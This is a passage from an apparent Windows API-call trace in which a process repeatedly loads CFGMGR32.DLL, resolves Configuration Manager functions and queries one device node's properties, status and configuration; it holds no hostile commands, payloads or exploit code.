_Src=0x196ef225e00, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0223.722] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0223.722] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0223.786] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.786] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.790] malloc (_Size=0x18) returned 0x196ef0d19a0 [0223.790] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0223.790] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0223.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x663ed93d, dwHighDateTime=0x1d9eb0c)) [0223.790] SetEvent (hEvent=0x248) returned 1 [0223.793] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.793] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.797] malloc (_Size=0x18) returned 0x196ef0d1d60 [0223.797] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.800] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0223.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x663ed93d, dwHighDateTime=0x1d9eb0c)) [0223.800] SetEvent (hEvent=0x248) returned 1 [0223.803] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.803] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.807] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0223.807] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.807] malloc (_Size=0x48) returned 0x196ef0fc170 [0223.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x664139d1, dwHighDateTime=0x1d9eb0c)) [0223.807] SetEvent (hEvent=0x248) returned 1 [0223.810] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.810] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.814] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.814] malloc (_Size=0x18) returned 0x196ef0d1d60 [0223.814] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.814] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0223.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x664139d1, dwHighDateTime=0x1d9eb0c)) [0223.815] SetEvent (hEvent=0x248) returned 1 [0223.820] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.820] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.820] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.820] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.820] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.824] malloc (_Size=0x18) returned 0x196ef0d19a0 [0223.824] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.824] malloc (_Size=0x48) returned 0x196ef0fba40 [0223.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66439d4a, dwHighDateTime=0x1d9eb0c)) [0223.825] SetEvent (hEvent=0x248) returned 1 [0223.830] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.830] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.832] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.832] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.832] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.832] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.886] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0223.886] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.889] malloc (_Size=0x48) returned 0x196ef0fb220 [0223.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x664d5390, dwHighDateTime=0x1d9eb0c)) [0223.889] SetEvent (hEvent=0x248) returned 1 [0223.893] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.893] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.893] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.897] malloc (_Size=0x18) returned 0x196ef0d1f00 [0223.897] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x21, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0223.897] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0223.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x664f8c70, dwHighDateTime=0x1d9eb0c)) [0223.898] SetEvent (hEvent=0x248) returned 1 [0223.903] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.903] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.907] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0223.907] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x21, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0223.907] malloc (_Size=0x48) returned 0x196ef0fbef0 [0223.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x664f8c70, dwHighDateTime=0x1d9eb0c)) [0223.907] SetEvent (hEvent=0x248) returned 1 [0223.911] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.912] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.913] GetProcAddress 